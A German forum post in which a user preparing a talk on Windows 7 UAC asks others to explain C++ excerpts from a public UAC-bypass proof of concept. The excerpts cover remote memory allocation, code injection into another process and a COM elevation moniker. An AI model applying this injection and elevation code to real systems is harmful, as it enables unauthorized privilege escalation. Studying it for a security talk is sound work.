Fragen zu Quellcode



  • Hi Forum,

    nächstes Mittwoch werde ich ein Vortrag über Windows 7 User Account Control halten. Wie es funktioniert, was es bringt, schwachstellen etc. Nun bin ich bei meiner recherche im Netz auf ein interessanten POC code gestoßen. Schaut mal hier rein, dort gibts Programm, Erläuterung, Sourcecode etc. Nun hab ich mir natürlich alles durchgelesen und auch soweit verstanden was die Sicherheitslücke ist und wie man sie ausnutzen kann und was das programm macht. Jetzt ist es allerdings so dass ich ein paar Teile des Codes nicht richtig durchschaue da sehr viel mit objecten structuren und namespaces gearbeitet wird und ich teilweise Probleme damit habe die Sourcecodes anderer so zu lesen das ich sie verstehe wie meine eigenen. Ich bin zwar kein Anfänger mehr aber das ist dann doch etwas zu schwer für mich. Das Program ist nicht groß und wer mir helfen will kann es sich ja mal anschauen, intressant ist es außerdem.

    Ich werd jetzt mal ein paar Code auszüge posten und dann sagen was ich davon nicht verstehe. Seid nicht sauer wenn es manchmal vielleicht triviale sachen sind aber ich hab mich so weit ich kann selbst damit auseinander gesetzt gegoogld, nachgeschlagen etc.

    Also ein Problem ist folgendes. Im Win7Elevate_Utils.ccp file wird ein namespace mit dem name Win7Util erstellt. Dieser enthält folgende Klasse:

    class CRemoteMemory
    	{
    	private:
    		HANDLE m_hRemoteProcess;
    		std::list< void * > m_listRemoteAllocations;
    		bool m_bAnyFailures;
    
    	private:
    		CRemoteMemory(const CRemoteMemory &rhs); // Disallow.
    		CRemoteMemory &operator=(const CRemoteMemory &rhs); // Disallow.
    
    	public:
    		CRemoteMemory(HANDLE hRemoteProcess);
    		virtual ~CRemoteMemory();
    		void LeakMemory();
    		bool AnyFailures() const;
    		void *AllocAndCopyMemory(const void *pLocalBuffer, SIZE_T bufferSize, bool bExecutable, bool bConst = true);
    		wchar_t *AllocAndCopyMemory(const wchar_t *szLocalString, bool bConst = true);
    		char *AllocAndCopyMemory(const char *szLocalString, bool bConst = true);
    	};
    }
    

    im intressantesten teil des Progamms in der Win7Elevate_Inject.cpp

    finde ich eine line

    W7EUtils::CRemoteMemory reme(hTargetProc);
    

    reme() ist bis dahin noch nicht aufgetaucht und ich weiß nicht was es ist. Ich dennke es wird ein object zur oben genannten Klasse erstellt jedoch weiß ich leider nicht was genau passiert.

    direkt darunter wird ein struct namens InjectArgs gefüllt. Das ganze sieht so aus:

    InjectArgs ia;
    				// ASSUMPTION: Remote process has same ASLR setting as us (i.e. ASLR = on)
    				//             kernel32.dll is mapped to the same address range in both processes.
    				ia.fpFreeLibrary         = tfpFreeLibrary.f;
    				ia.fpLoadLibrary         = tfpLoadLibrary.f;
    				ia.fpGetProcAddress      = tfpGetProcAddress.f;
    				ia.fpCloseHandle         = tfpCloseHandle.f;
    				ia.fpWaitForSingleObject = tfpWaitForSingleObject.f;
    
    				// It would be more efficient to allocate and copy the data in one
    				// block but since this is just a proof-of-concept I don't bother.
    
    				ia.szSourceDll           = reme.AllocAndCopyMemory(szPathToOurDll);
    				ia.szElevDir             = reme.AllocAndCopyMemory(szElevDir);
    				ia.szElevDll             = reme.AllocAndCopyMemory(szElevDll);
    				ia.szElevDllFull         = reme.AllocAndCopyMemory(szElevDllFull);
    				ia.szElevExeFull         = reme.AllocAndCopyMemory(szElevExeFull);
    				ia.szElevArgs            = reme.AllocAndCopyMemory(strElevArgs.c_str(), false); // Leave this page writeable for CreateProcess.
    
    				ia.szShell32             = reme.AllocAndCopyMemory(L"shell32.dll");
    				ia.szOle32               = reme.AllocAndCopyMemory(L"ole32.dll");
    				ia.szCoInitialize        = reme.AllocAndCopyMemory("CoInitialize");
    				ia.szCoUninitialize      = reme.AllocAndCopyMemory("CoUninitialize");
    				ia.szCoGetObject         = reme.AllocAndCopyMemory("CoGetObject");
    				ia.szCoCreateInstance    = reme.AllocAndCopyMemory("CoCreateInstance");
    				ia.szSHCreateItemFPN     = reme.AllocAndCopyMemory("SHCreateItemFromParsingName");
    				ia.szShellExecuteExW     = reme.AllocAndCopyMemory("ShellExecuteExW");
    				ia.szEIFOMoniker         = bElevate ? reme.AllocAndCopyMemory(L"Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}") : NULL;
    				ia.pIID_EIFOClass        = bElevate ? NULL : reinterpret_cast< const IID * >( reme.AllocAndCopyMemory(&__uuidof(FileOperation), sizeof(__uuidof(FileOperation)), false) );
    				ia.pIID_EIFO             = reinterpret_cast< const IID * >( reme.AllocAndCopyMemory(&__uuidof(IFileOperation), sizeof(__uuidof(IFileOperation)), false) );
    				ia.pIID_ShellItem2       = reinterpret_cast< const IID * >( reme.AllocAndCopyMemory(&__uuidof(IShellItem2),    sizeof(__uuidof(IShellItem2)),    false) );
    				ia.pIID_Unknown          = reinterpret_cast< const IID * >( reme.AllocAndCopyMemory(&__uuidof(IUnknown),       sizeof(__uuidof(IUnknown)),       false) );
    
    				void *pRemoteArgs = reme.AllocAndCopyMemory(&ia, sizeof(ia), false);
    
    				void *pRemoteFunc = reme.AllocAndCopyMemory( RemoteCodeFunc, codeEndAdr - codeStartAdr, true);
    

    wie ihr seht wird dafür überall die AllocAndCopyMemory funktion verwenden. Die folgendermaßen definiert ist. (sind)

    void *W7EUtils::CRemoteMemory::AllocAndCopyMemory(const void *pLocalBuffer, SIZE_T bufferSize, bool bExecutable, bool bConst)
    {
    	void *pRemoteAllocation = VirtualAllocEx(m_hRemoteProcess, 0, bufferSize, MEM_COMMIT | PAGE_READWRITE, bExecutable ? PAGE_EXECUTE_READWRITE : PAGE_READWRITE);
    
    	if (pRemoteAllocation)
    	{
    		DWORD dwOldProtect = 0;
    
    		if (!WriteProcessMemory(m_hRemoteProcess, pRemoteAllocation, pLocalBuffer, bufferSize, NULL)
    		||	(!bExecutable && !bConst && !VirtualProtectEx(m_hRemoteProcess, pRemoteAllocation, bufferSize, bExecutable ? PAGE_EXECUTE_READ : PAGE_READONLY, &dwOldProtect)))
    		{
    			VirtualFreeEx(m_hRemoteProcess, pRemoteAllocation, 0, MEM_RELEASE);
    			pRemoteAllocation = 0;
    		}
    		else
    		{
    			m_listRemoteAllocations.push_back(pRemoteAllocation);
    		}
    	}
    
    	if (pRemoteAllocation == 0)
    	{
    		m_bAnyFailures = true;
    	}
    
    	return pRemoteAllocation;
    }
    
    wchar_t *W7EUtils::CRemoteMemory::AllocAndCopyMemory(const wchar_t *szLocalString, bool bConst)
    {
    	return reinterpret_cast< wchar_t * >(
    		this->AllocAndCopyMemory(
    			reinterpret_cast< const void * >( szLocalString ),
    			(wcslen(szLocalString)+1) * sizeof(szLocalString[0]),
    			false, bConst ) );
    }
    
    char *W7EUtils::CRemoteMemory::AllocAndCopyMemory(const char *szLocalString, bool bConst)
    {
    	return reinterpret_cast< char * >(
    		this->AllocAndCopyMemory(
    			reinterpret_cast< const void * >( szLocalString ),
    			(strlen(szLocalString)+1) * sizeof(szLocalString[0]),
    			false, bConst ) );
    }
    

    Was mich beim betrachten der oben genannten klasse schon stutzig gemacht hat ist, dass sie alle den gleichen namen aber unterschiedliche Argumente / Types haben. Andere sachen die ich nicht verstehe sind: warum kann die funktion mit reme. aufgerufen werden? Wird immer die gleiche aufgerufen? Was passiert hier genau? Diese zeilen sind mir ein besonderes Rätsel.

    reinterpret_cast< const IID * >( reme.AllocAndCopyMemory(&__uuidof(IShellItem2),    sizeof(__uuidof(IShellItem2)),    false) );
    

    außerdem stellt sich mir die frage warum der Author nicht einfach die normalen Funktionen benutzt sondern viele indirections benutzt. Was soll zum beispiel
    [/code]
    ia.fpFreeLibrary = tfpFreeLibrary.f;
    ia.fpLoadLibrary = tfpLoadLibrary.f;
    ia.fpGetProcAddress = tfpGetProcAddress.f;
    ia.fpCloseHandle = tfpCloseHandle.f;
    ia.fpWaitForSingleObject = tfpWaitForSingleObject.f;[/code]

    so dass war jetzt schonmal ganz schön was, trozdem habe ich leider noch ein paar fragen. Ich werde es jetzt erst einmal so posten da ich ja überhaupt noch garnicht weiß ob interesse daran besteht mir zu helfen und ob es ansonsten jemanden interessiert. Ich will diesen code verstehen und werde natürlich jetzt nicht abwarten bzw erwarten bis mir die lösung aus dem forum springt sondern mich selbst auch noch weiter informieren. Trozdem wäre es schön wenn jemand die zeit und geduldt hätte mir ein paar Fragen zu beantworten. Wenn ihr mir helfen wollt wäre es warscheinlich am besten wenn ihr die Source kurz downloaded und drübergeht. Das Programm ist wirklich nich groß und für einen weiter fortgeschrittenen C-programmierer als mich bestimmt einfach zu verstehen.

    Vielen dank. Frobens


Anmelden zum Antworten